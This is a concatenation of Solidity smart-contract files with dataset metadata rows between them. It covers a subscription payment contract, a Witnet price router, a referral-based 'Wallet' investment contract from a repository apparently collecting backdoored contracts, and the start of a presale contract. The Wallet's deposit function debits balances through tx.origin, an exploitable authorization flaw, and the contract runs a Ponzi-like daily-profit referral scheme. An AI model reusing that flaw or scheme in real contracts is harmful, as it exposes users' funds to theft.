collectPaymentsRange(receiver, 0, receiverSubs[receiver].length);
}
function getTotalUnclaimedPayments(address receiver) external view returns (uint) {
uint totalPayment = 0;
uint ethPriceWad = ethPriceInDaiWad();
for (uint i = 0; i < receiverSubs[receiver].length; i++) {
Subscription storage sub = subscriptions[receiverSubs[receiver][i]];
if (sub.isActive && sub.daiCents != 0) {
uint wholeUnpaidIntervals = calculateUnpaidIntervalsUntil(sub, now);
if (wholeUnpaidIntervals > 0 && wholeUnpaidIntervals < STALE_INTERVAL_THRESHOLD) {
uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceWad);
uint authorizedBalance = allowedBalance(sub.subscriber);
do {
if (authorizedBalance >= weiAmount) {
totalPayment = totalPayment.add(weiAmount);
authorizedBalance = authorizedBalance.sub(weiAmount);
}
wholeUnpaidIntervals = wholeUnpaidIntervals.sub(1);
} while (wholeUnpaidIntervals > 0);
}
}
}
return totalPayment;
}
function outstandingBalanceUntil(address subscriber, uint time) external view returns (uint) {
uint until = time <= now ? now : time;
uint64[] memory subs = subscriberSubs[subscriber];
uint totalDaiCents = 0;
for (uint64 i = 0; i < subs.length; i++) {
Subscription memory sub = subscriptions[subs[i]];
if (sub.isActive) {
totalDaiCents = totalDaiCents.add(sub.daiCents.mul(calculateUnpaidIntervalsUntil(sub, until)));
}
}
return totalDaiCents;
}
function collectPaymentsRange(address receiver, uint start, uint end) public returns (uint) {
uint64[] storage subs = receiverSubs[receiver];
require(subs.length > 0, "receiver has no subscriptions");
require(start < end && end <= subs.length, "wrong arguments for range");
uint totalPayment = 0;
uint ethPriceWad = ethPriceInDaiWad();
uint last = end;
uint i = start;
while (i < last) {
if (gasleft() < MIN_GAS_PER_COLLECT_PAYMENT) {
break;
}
Subscription storage sub = subscriptions[subs[i]];
// delete empty subs
while (sub.daiCents == 0 && subs.length > 0) {
uint lastIndex = subs.length.sub(1);
subs[i] = subs[lastIndex];
delete(subs[lastIndex]);
subs.length = lastIndex;
if (last > lastIndex) {
last = lastIndex;
}
if (lastIndex > 0) {
sub = subscriptions[subs[i]];
}
}
if (sub.isActive && sub.daiCents != 0) {
uint wholeUnpaidIntervals = calculateUnpaidIntervalsUntil(sub, now);
if (wholeUnpaidIntervals > 0) {
// this could be placed in the following else{} block, but the stack becomes too deep
uint subscriberPayment = 0;
if (wholeUnpaidIntervals >= STALE_INTERVAL_THRESHOLD) {
sub.isActive = false;
emit SubscriptionDeactivated(sub.subscriber, receiver);
emit StaleSubscription(sub.subscriber, receiver);
} else {
uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceWad);
uint authorizedBalance = allowedBalance(sub.subscriber);
do {
if (authorizedBalance >= weiAmount) {
totalPayment = totalPayment.add(weiAmount);
subscriberPayment = subscriberPayment.add(weiAmount);
authorizedBalance = authorizedBalance.sub(weiAmount);
emit PaymentCollected(sub.subscriber, receiver, weiAmount, sub.daiCents, sub.nextPaymentTime);
sub.nextPaymentTime = calculateNextPaymentTime(sub);
} else {
emit UnfundedPayment(sub.subscriber, receiver, weiAmount, sub.daiCents);
}
wholeUnpaidIntervals = wholeUnpaidIntervals.sub(1);
} while (wholeUnpaidIntervals > 0);
}
if (subscriberPayment > 0) {
assert(wethContract.transferFrom(sub.subscriber, receiver, subscriberPayment));
}
}
}
i++;
}
emit ReceiverPaymentsCollected(receiver, totalPayment, start, i);
return i;
}
function allowedBalance(address subscriber) public view returns (uint) {
uint balance = wethContract.balanceOf(subscriber);
uint allowance = wethContract.allowance(subscriber, address(this));
return balance > allowance ? allowance : balance;
}
function ethPriceInDaiWad() public view returns (uint) {
uint price = uint(daiPriceContract.read());
require(price > 1, "Invalid price for DAI.");
return price;
}
function deleteElement(uint64[] storage array, uint64 element) internal {
uint lastIndex = array.length.sub(1);
for (uint i = 0; i < array.length; i++) {
if (array[i] == element) {
array[i] = array[lastIndex];
delete(array[lastIndex]);
array.length = lastIndex;
break;
}
}
}
function calculateUnpaidIntervalsUntil(Subscription memory sub, uint time) internal view returns (uint) {
require(time >= now, "don't use a time before now");
if (time > sub.nextPaymentTime) {
return ((time.sub(sub.nextPaymentTime)).div(sub.interval)).add(1);
}
return 0;
}
function calculateNextPaymentTime(Subscription memory sub) internal pure returns (uint48) {
uint48 nextPaymentTime = sub.nextPaymentTime + sub.interval;
assert(nextPaymentTime > sub.nextPaymentTime);
return nextPaymentTime;
}
function daiCentsToEthWei(uint daiCents, uint ethPriceWad) internal pure returns (uint) {
return centsToWad(daiCents).mul(10**18).div(ethPriceWad);
}
function centsToWad(uint cents) internal pure returns (uint) {
return cents.mul(10**16);
}
}
| 204,286 | 748 |
c978a4a8852c5bc6e5cae149a5776cc487fbf5195057a3b87634f0039f91ee4a
| 20,526 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/d3/D39D4d972C7E166856c4eb29E54D3548B4597F53_WitnetPriceRouter.sol
| 3,695 | 15,139 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.9.0;
pragma experimental ABIEncoderV2;
// File: ado-contracts\contracts\interfaces\IERC2362.sol
interface IERC2362
{
function valueFor(bytes32 _id) external view returns(int256,uint256,uint256);
}
// File: contracts\interfaces\IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts\interfaces\IWitnetPriceRouter.sol
/// @title The Witnet Price Router basic interface.
/// @dev Guides implementation of price feeds aggregation contracts.
/// @author The Witnet Foundation.
abstract contract IWitnetPriceRouter
is
IERC2362
{
/// Emitted everytime a currency pair is attached to a new price feed contract
/// @dev See https://github.com/adoracles/ADOIPs/blob/main/adoip-0010.md
/// @dev to learn how these ids are created.
event CurrencyPairSet(bytes32 indexed erc2362ID, IERC165 pricefeed);
function currencyPairId(string memory) external pure virtual returns (bytes32);
/// Returns the ERC-165-compliant price feed contract currently serving
/// updates on the given currency pair.
function getPriceFeed(bytes32 _erc2362id) external view virtual returns (IERC165);
/// Returns human-readable ERC2362-based caption of the currency pair being
/// served by the given price feed contract address.
/// @dev Should fail if the given price feed contract address is not currently
/// @dev registered in the router.
function getPriceFeedCaption(IERC165) external view virtual returns (string memory);
/// Returns human-readable caption of the ERC2362-based currency pair identifier, if known.
function lookupERC2362ID(bytes32 _erc2362id) external view virtual returns (string memory);
/// Register a price feed contract that will serve updates for the given currency pair.
/// @dev Setting zero address to a currency pair implies that it will not be served any longer.
function setPriceFeed(IERC165 _pricefeed,
uint256 _decimals,
string calldata _base,
string calldata _quote)
external virtual;
/// Returns list of known currency pairs IDs.
function supportedCurrencyPairs() external view virtual returns (bytes32[] memory);
/// Returns `true` if given pair is currently being served by a compliant price feed contract.
function supportsCurrencyPair(bytes32 _erc2362id) external view virtual returns (bool);
function supportsPriceFeed(IERC165 _priceFeed) external view virtual returns (bool);
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts\interfaces\IWitnetPriceFeed.sol
/// @title The Witnet Price Feed basic interface.
/// @dev Guides implementation of active price feed polling contracts.
/// @author The Witnet Foundation.
interface IWitnetPriceFeed {
/// Signals that a new price update request is being posted to the Witnet Request Board
event PriceFeeding(address indexed from, uint256 queryId, uint256 extraFee);
/// Estimates minimum fee amount in native currency to be paid when
/// requesting a new price update.
/// @dev Actual fee depends on the gas price of the `requestUpdate()` transaction.
/// @param _gasPrice Gas price expected to be paid when calling `requestUpdate()`
function estimateUpdateFee(uint256 _gasPrice) external view returns (uint256);
/// Returns result of the last valid price update request successfully solved by the Witnet oracle.
function lastPrice() external view returns (int256);
/// Returns the EVM-timestamp when last valid price was reported back from the Witnet oracle.
function lastTimestamp() external view returns (uint256);
/// Returns tuple containing last valid price and timestamp, as well as status code of latest update
/// request that got posted to the Witnet Request Board.
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// @return _lastDrTxHash Hash of the Witnet Data Request that solved the last valid price.
/// @return _latestUpdateStatus Status code of the latest update request.
function lastValue() external view returns (int _lastPrice,
uint _lastTimestamp,
bytes32 _lastDrTxHash,
uint _latestUpdateStatus);
/// Returns identifier of the latest update request posted to the Witnet Request Board.
function latestQueryId() external view returns (uint256);
/// Returns hash of the Witnet Data Request that solved the latest update request.
/// @dev Returning 0 while the latest update request remains unsolved.
function latestUpdateDrTxHash() external view returns (bytes32);
/// Returns error message of latest update request posted to the Witnet Request Board.
/// @dev Returning empty string if the latest update request remains unsolved, or
/// @dev if it was succesfully solved with no errors.
function latestUpdateErrorMessage() external view returns (string memory);
/// Returns status code of latest update request posted to the Witnet Request Board:
/// @dev Status codes:
/// @dev - 200: update request was succesfully solved with no errors
/// @dev - 400: update request was solved with errors
/// @dev - 404: update request was not solved yet
function latestUpdateStatus() external view returns (uint256);
/// Returns `true` if latest update request posted to the Witnet Request Board
/// has not been solved yet by the Witnet oracle.
function pendingUpdate() external view returns (bool);
/// Posts a new price update request to the Witnet Request Board. Requires payment of a fee
/// that depends on the value of `tx.gasprice`. See `estimateUpdateFee(uint256)`.
/// @dev If previous update request was not solved yet, calling this method again allows
/// @dev upgrading the update fee if called with a higher `tx.gasprice` value.
function requestUpdate() external payable;
/// Tells whether this contract implements the interface defined by `interfaceId`.
/// @dev to learn more about how these ids are created.
function supportsInterface(bytes4) external view returns (bool);
}
// File: @openzeppelin\contracts\utils\Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: contracts\apps\WitnetPriceRouter.sol
contract WitnetPriceRouter
is
IWitnetPriceRouter,
Ownable
{
using Strings for uint256;
struct Pair {
IERC165 pricefeed;
uint256 decimals;
string base;
string quote;
}
mapping (bytes4 => Pair) internal __pairs;
mapping (address => bytes32) internal __pricefeedId_;
bytes32[] internal __supportedCurrencyPairs;
// ========================================================================
// --- Implementation of 'IERC2362' ---------------------------------------
/// Returns last valid price value and timestamp, as well as status of
/// the latest update request that got posted to the Witnet Request Board.
/// @dev Fails if the given currency pair is not currently supported.
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// - 200: latest update request was succesfully solved with no errors
/// - 400: latest update request was solved with errors
/// - 404: latest update request is still pending to be solved
function valueFor(bytes32 _erc2362id)
external view
virtual override
returns (int256 _lastPrice,
uint256 _lastTimestamp,
uint256 _latestUpdateStatus)
{
IWitnetPriceFeed _pricefeed = IWitnetPriceFeed(address(getPriceFeed(_erc2362id)));
require(address(_pricefeed) != address(0), "WitnetPriceRouter: unsupported currency pair");
(_lastPrice, _lastTimestamp,, _latestUpdateStatus) = _pricefeed.lastValue();
}
// ========================================================================
// --- Implementation of 'IWitnetPriceRouter' ---------------------------
function currencyPairId(string memory _caption)
public pure
virtual override
returns (bytes32)
{
return keccak256(bytes(_caption));
}
/// Returns the ERC-165-compliant price feed contract currently serving
/// updates on the given currency pair.
function getPriceFeed(bytes32 _erc2362id)
public view
virtual override
returns (IERC165)
{
return __pairs[bytes4(_erc2362id)].pricefeed;
}
/// Returns human-readable ERC2362-based caption of the currency pair being
/// served by the given price feed contract address.
/// @dev Fails if the given price feed contract address is not currently
/// @dev registered in the router.
function getPriceFeedCaption(IERC165 _pricefeed)
public view
virtual override
returns (string memory)
{
require(supportsPriceFeed(_pricefeed), "WitnetPriceRouter: unknown");
return lookupERC2362ID(__pricefeedId_[address(_pricefeed)]);
}
/// Returns human-readable caption of the ERC2362-based currency pair identifier, if known.
function lookupERC2362ID(bytes32 _erc2362id)
public view
virtual override
returns (string memory _caption)
{
Pair storage _pair = __pairs[bytes4(_erc2362id)];
if (bytes(_pair.base).length > 0
&& bytes(_pair.quote).length > 0) {
_caption = string(abi.encodePacked("Price-",
_pair.base,
"/",
_pair.quote,
"-",
_pair.decimals.toString()));
}
}
/// Register a price feed contract that will serve updates for the given currency pair.
/// @dev Setting zero address to a currency pair implies that it will not be served any longer.
function setPriceFeed(IERC165 _pricefeed,
uint256 _decimals,
string calldata _base,
string calldata _quote)
public
virtual override
onlyOwner
{
if (address(_pricefeed) != address(0)) {
require(_pricefeed.supportsInterface(type(IWitnetPriceFeed).interfaceId),
"WitnetPriceRouter: feed contract is not compliant with IWitnetPriceFeed");
require(__pricefeedId_[address(_pricefeed)] == bytes32(0),
"WitnetPriceRouter: already serving a currency pair");
}
bytes memory _caption = abi.encodePacked("Price-",
bytes(_base),
"/",
bytes(_quote),
"-",
_decimals.toString());
bytes32 _erc2362id = keccak256(_caption);
Pair storage _record = __pairs[bytes4(_erc2362id)];
address _currentPriceFeed = address(_record.pricefeed);
if (bytes(_record.base).length == 0) {
_record.base = _base;
_record.quote = _quote;
_record.decimals = _decimals;
__supportedCurrencyPairs.push(_erc2362id);
}
else if (_currentPriceFeed != address(0)) {
__pricefeedId_[_currentPriceFeed] = bytes32(0);
}
if (address(_pricefeed) != _currentPriceFeed) {
__pricefeedId_[address(_pricefeed)] = _erc2362id;
}
_record.pricefeed = _pricefeed;
emit CurrencyPairSet(_erc2362id, _pricefeed);
}
/// Returns list of known currency pairs IDs.
function supportedCurrencyPairs()
external view
virtual override
returns (bytes32[] memory)
{
return __supportedCurrencyPairs;
}
/// Returns `true` if given pair is currently being served by a compliant price feed contract.
function supportsCurrencyPair(bytes32 _erc2362id)
public view
virtual override
returns (bool)
{
return address(__pairs[bytes4(_erc2362id)].pricefeed) != address(0);
}
function supportsPriceFeed(IERC165 _pricefeed)
public view
virtual override
returns (bool)
{
return __pairs[bytes4(__pricefeedId_[address(_pricefeed)])].pricefeed == _pricefeed;
}
}
| 153,542 | 749 |
c79d655d40286fd9261dbc11b69697762ff1760682203bbc56d517134acf6ace
| 16,254 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x43187dd7709aec49f4870213390624bf365e119b.sol
| 4,061 | 15,109 |
pragma solidity 0.4.25;
contract Auth {
address internal mainAdmin;
address internal contractAdmin;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor(address _mainAdmin,
address _contractAdmin)
internal
{
mainAdmin = _mainAdmin;
contractAdmin = _contractAdmin;
}
modifier onlyAdmin() {
require(isMainAdmin() || isContractAdmin(), "onlyAdmin");
_;
}
modifier onlyMainAdmin() {
require(isMainAdmin(), "onlyMainAdmin");
_;
}
modifier onlyContractAdmin() {
require(isContractAdmin(), "onlyContractAdmin");
_;
}
function transferOwnership(address _newOwner) onlyContractAdmin internal {
require(_newOwner != address(0x0));
contractAdmin = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
function isMainAdmin() public view returns (bool) {
return msg.sender == mainAdmin;
}
function isContractAdmin() public view returns (bool) {
return msg.sender == contractAdmin;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface ICitizen {
function addF1DepositedToInviter(address _invitee, uint _amount) external;
function addNetworkDepositedToInviter(address _inviter, uint _amount, uint _source, uint _sourceAmount) external;
function checkInvestorsInTheSameReferralTree(address _inviter, address _invitee) external view returns (bool);
function getF1Deposited(address _investor) external view returns (uint);
function getId(address _investor) external view returns (uint);
function getInvestorCount() external view returns (uint);
function getInviter(address _investor) external view returns (address);
function getDirectlyInvitee(address _investor) external view returns (address[]);
function getDirectlyInviteeHaveJoinedPackage(address _investor) external view returns (address[]);
function getNetworkDeposited(address _investor) external view returns (uint);
function getRank(address _investor) external view returns (uint);
function getRankBonus(uint _index) external view returns (uint);
function getUserAddresses(uint _index) external view returns (address);
function getSubscribers(address _investor) external view returns (uint);
function increaseInviterF1HaveJoinedPackage(address _invitee) external;
function isCitizen(address _user) view external returns (bool);
function register(address _user, string _userName, address _inviter) external returns (uint);
function showInvestorInfo(address _investorAddress) external view returns (uint, string memory, address, address[], uint, uint, uint, uint);
}
interface IReserveFund {
function getLockedStatus(address _investor) view external returns (uint8);
function getTransferDifficulty() view external returns (uint);
}
contract Wallet is Auth {
using SafeMath for uint;
struct Balance {
// NOTE: balance is counted in mili-dollar (1/1000 dollar)
uint totalDeposited; // Treasury package
uint[] deposited;
uint profitableBalance; // Green wallet
uint profitSourceBalance; // Gold wallet
uint profitBalance; // Mining wallet
uint totalProfited;
uint amountToMineToken;
uint ethWithdrew;
}
IReserveFund private reserveFundContract;
ICitizen private citizen;
uint public ethWithdrew;
uint private profitPaid;
uint private f11RewardCondition = 200000000; // 200k
mapping (address => Balance) private userWallets;
modifier onlyReserveFundContract() {
require(msg.sender == address(reserveFundContract), "onlyReserveFundContract");
_;
}
modifier onlyCitizenContract() {
require(msg.sender == address(citizen), "onlyCitizenContract");
_;
}
event ProfitBalanceTransferred(address from, address to, uint amount);
event RankBonusSent(address investor, uint rank, uint amount);
// source: 0-eth 1-token 2-usdt
event ProfitSourceBalanceChanged(address investor, int amount, address from, uint8 source);
event ProfitableBalanceChanged(address investor, int amount, address from, uint8 source);
// source: 0-profit paid 1-active user
event ProfitBalanceChanged(address from, address to, int amount, uint8 source);
constructor (address _mainAdmin, address _citizen)
Auth(_mainAdmin, msg.sender)
public
{
citizen = ICitizen(_citizen);
}
// ONLY-MAIN-ADMIN-FUNCTIONS
function getProfitPaid() onlyMainAdmin public view returns(uint) {
return profitPaid;
}
// ONLY-CONTRACT-ADMIN FUNCTIONS
function setDABankContract(address _reserveFundContract) onlyContractAdmin public {
reserveFundContract = IReserveFund(_reserveFundContract);
}
function makeDailyProfit(address[] _userAddresses) onlyContractAdmin public {
require(_userAddresses.length > 0, "Invalid input");
uint investorCount = citizen.getInvestorCount();
uint dailyPercent;
uint dailyProfit;
uint8 lockProfit = 1;
uint id;
address userAddress;
for (uint i = 0; i < _userAddresses.length; i++) {
id = citizen.getId(_userAddresses[i]);
require(investorCount > id, "Invalid userId");
userAddress = _userAddresses[i];
if (reserveFundContract.getLockedStatus(userAddress) != lockProfit) {
Balance storage balance = userWallets[userAddress];
dailyPercent = (balance.totalProfited == 0 || balance.totalProfited < balance.totalDeposited) ? 5 : (balance.totalProfited < 4 * balance.totalDeposited) ? 4 : 3;
dailyProfit = balance.profitableBalance.mul(dailyPercent).div(1000);
balance.profitableBalance = balance.profitableBalance.sub(dailyProfit);
balance.profitBalance = balance.profitBalance.add(dailyProfit);
balance.totalProfited = balance.totalProfited.add(dailyProfit);
profitPaid = profitPaid.add(dailyProfit);
emit ProfitBalanceChanged(address(0x0), userAddress, int(dailyProfit), 0);
}
}
}
// ONLY-DABANK-CONTRACT FUNCTIONS
// _source: 0-eth 1-token 2-usdt
function deposit(address _to, uint _deposited, uint8 _source, uint _sourceAmount) onlyReserveFundContract public {
require(_to != address(0x0), "User address can not be empty");
require(_deposited > 0, "Package value must be > 0");
Balance storage balance = userWallets[_to];
bool firstDeposit = balance.deposited.length == 0;
balance.deposited.push(_deposited);
uint profitableIncreaseAmount = _deposited * (firstDeposit ? 2 : 1);
uint profitSourceIncreaseAmount = _deposited * 8;
balance.totalDeposited = balance.totalDeposited.add(_deposited);
balance.profitableBalance = balance.profitableBalance.add(profitableIncreaseAmount);
balance.profitSourceBalance = balance.profitSourceBalance.add(_deposited * 8);
if (_source == 2) {
if (_to == tx.origin) {
// self deposit
balance.profitBalance = balance.profitBalance.sub(_deposited);
} else {
// deposit to another
Balance storage senderBalance = userWallets[tx.origin];
senderBalance.profitBalance = senderBalance.profitBalance.sub(_deposited);
}
emit ProfitBalanceChanged(tx.origin, _to, int(_deposited) * -1, 1);
}
citizen.addF1DepositedToInviter(_to, _deposited);
addRewardToInviters(_to, _deposited, _source, _sourceAmount);
if (firstDeposit) {
citizen.increaseInviterF1HaveJoinedPackage(_to);
}
if (profitableIncreaseAmount > 0) {
emit ProfitableBalanceChanged(_to, int(profitableIncreaseAmount), _to, _source);
emit ProfitSourceBalanceChanged(_to, int(profitSourceIncreaseAmount), _to, _source);
}
}
function bonusForAdminWhenUserBuyPackageViaDollar(uint _amount, address _admin) onlyReserveFundContract public {
Balance storage adminBalance = userWallets[_admin];
adminBalance.profitBalance = adminBalance.profitBalance.add(_amount);
}
function increaseETHWithdrew(uint _amount) onlyReserveFundContract public {
ethWithdrew = ethWithdrew.add(_amount);
}
function mineToken(address _from, uint _amount) onlyReserveFundContract public {
Balance storage userBalance = userWallets[_from];
userBalance.profitBalance = userBalance.profitBalance.sub(_amount);
userBalance.amountToMineToken = userBalance.amountToMineToken.add(_amount);
}
function validateCanMineToken(uint _tokenAmount, address _from) onlyReserveFundContract public view {
Balance storage userBalance = userWallets[_from];
require(userBalance.amountToMineToken.add(_tokenAmount) <= 4 * userBalance.totalDeposited, "You can only mine maximum 4x of your total deposited");
}
// ONLY-CITIZEN-CONTRACT FUNCTIONS
function bonusNewRank(address _investorAddress, uint _currentRank, uint _newRank) onlyCitizenContract public {
require(_newRank > _currentRank, "Invalid ranks");
Balance storage balance = userWallets[_investorAddress];
for (uint8 i = uint8(_currentRank) + 1; i <= uint8(_newRank); i++) {
uint rankBonusAmount = citizen.getRankBonus(i);
balance.profitBalance = balance.profitBalance.add(rankBonusAmount);
if (rankBonusAmount > 0) {
emit RankBonusSent(_investorAddress, i, rankBonusAmount);
}
}
}
// PUBLIC FUNCTIONS
function getUserWallet(address _investor)
public
view
returns (uint, uint[], uint, uint, uint, uint, uint)
{
if (msg.sender != address(reserveFundContract) && msg.sender != contractAdmin && msg.sender != mainAdmin) {
require(_investor != mainAdmin, "You can not see admin account");
}
Balance storage balance = userWallets[_investor];
return (balance.totalDeposited,
balance.deposited,
balance.profitableBalance,
balance.profitSourceBalance,
balance.profitBalance,
balance.totalProfited,
balance.ethWithdrew);
}
function getInvestorLastDeposited(address _investor) public view returns (uint) {
return userWallets[_investor].deposited.length == 0 ? 0 : userWallets[_investor].deposited[userWallets[_investor].deposited.length - 1];
}
function transferProfitWallet(uint _amount, address _to) public {
require(_amount >= reserveFundContract.getTransferDifficulty(), "Amount must be >= minimumTransferProfitBalance");
Balance storage senderBalance = userWallets[msg.sender];
require(citizen.isCitizen(msg.sender), "Please register first");
require(citizen.isCitizen(_to), "You can only transfer to an exists member");
require(senderBalance.profitBalance >= _amount, "You have not enough balance");
bool inTheSameTree = citizen.checkInvestorsInTheSameReferralTree(msg.sender, _to);
require(inTheSameTree, "This user isn't in your referral tree");
Balance storage receiverBalance = userWallets[_to];
senderBalance.profitBalance = senderBalance.profitBalance.sub(_amount);
receiverBalance.profitBalance = receiverBalance.profitBalance.add(_amount);
emit ProfitBalanceTransferred(msg.sender, _to, _amount);
}
function getProfitBalance(address _investor) public view returns (uint) {
return userWallets[_investor].profitBalance;
}
// PRIVATE FUNCTIONS
function addRewardToInviters(address _invitee, uint _amount, uint8 _source, uint _sourceAmount) private {
address inviter;
uint16 referralLevel = 1;
do {
inviter = citizen.getInviter(_invitee);
if (inviter != address(0x0)) {
citizen.addNetworkDepositedToInviter(inviter, _amount, _source, _sourceAmount);
checkAddReward(_invitee, inviter, referralLevel, _source, _amount);
_invitee = inviter;
referralLevel += 1;
}
} while (inviter != address(0x0));
}
function checkAddReward(address _invitee,address _inviter, uint16 _referralLevel, uint8 _source, uint _amount) private {
uint f1Deposited = citizen.getF1Deposited(_inviter);
uint networkDeposited = citizen.getNetworkDeposited(_inviter);
uint directlyInviteeCount = citizen.getDirectlyInviteeHaveJoinedPackage(_inviter).length;
uint rank = citizen.getRank(_inviter);
if (_referralLevel == 1) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
} else if (_referralLevel > 1 && _referralLevel < 11) {
bool condition1 = userWallets[_inviter].deposited.length > 0 ? f1Deposited >= userWallets[_inviter].deposited[0] * 3 : false;
bool condition2 = directlyInviteeCount >= _referralLevel;
if (condition1 && condition2) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
}
} else {
condition1 = userWallets[_inviter].deposited.length > 0 ? f1Deposited >= userWallets[_inviter].deposited[0] * 3: false;
condition2 = directlyInviteeCount >= 10;
bool condition3 = networkDeposited >= f11RewardCondition;
bool condition4 = rank >= 3;
if (condition1 && condition2 && condition3 && condition4) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
}
}
}
function moveBalanceForInvitingSuccessful(address _invitee, address _inviter, uint16 _referralLevel, uint8 _source, uint _amount) private {
uint divider = (_referralLevel == 1) ? 2 : (_referralLevel > 1 && _referralLevel < 11) ? 10 : 20;
Balance storage balance = userWallets[_inviter];
uint willMoveAmount = _amount / divider;
if (balance.profitSourceBalance > willMoveAmount) {
balance.profitableBalance = balance.profitableBalance.add(willMoveAmount);
balance.profitSourceBalance = balance.profitSourceBalance.sub(willMoveAmount);
if (willMoveAmount > 0) {
emit ProfitableBalanceChanged(_inviter, int(willMoveAmount), _invitee, _source);
emit ProfitSourceBalanceChanged(_inviter, int(willMoveAmount) * -1, _invitee, _source);
}
} else {
if (balance.profitSourceBalance > 0) {
emit ProfitableBalanceChanged(_inviter, int(balance.profitSourceBalance), _invitee, _source);
emit ProfitSourceBalanceChanged(_inviter, int(balance.profitSourceBalance) * -1, _invitee, _source);
}
balance.profitableBalance = balance.profitableBalance.add(balance.profitSourceBalance);
balance.profitSourceBalance = 0;
}
}
}
| 146,286 | 750 |
d106716788b8e444b3e48336b3f16afdb962db1be8f63ee6dced70a3232828a4
| 35,593 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/98/98a22718ce2EcC170C88Ca13716E3CDEE3c30206_StrudelPresale.sol
| 5,241 | 20,283 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
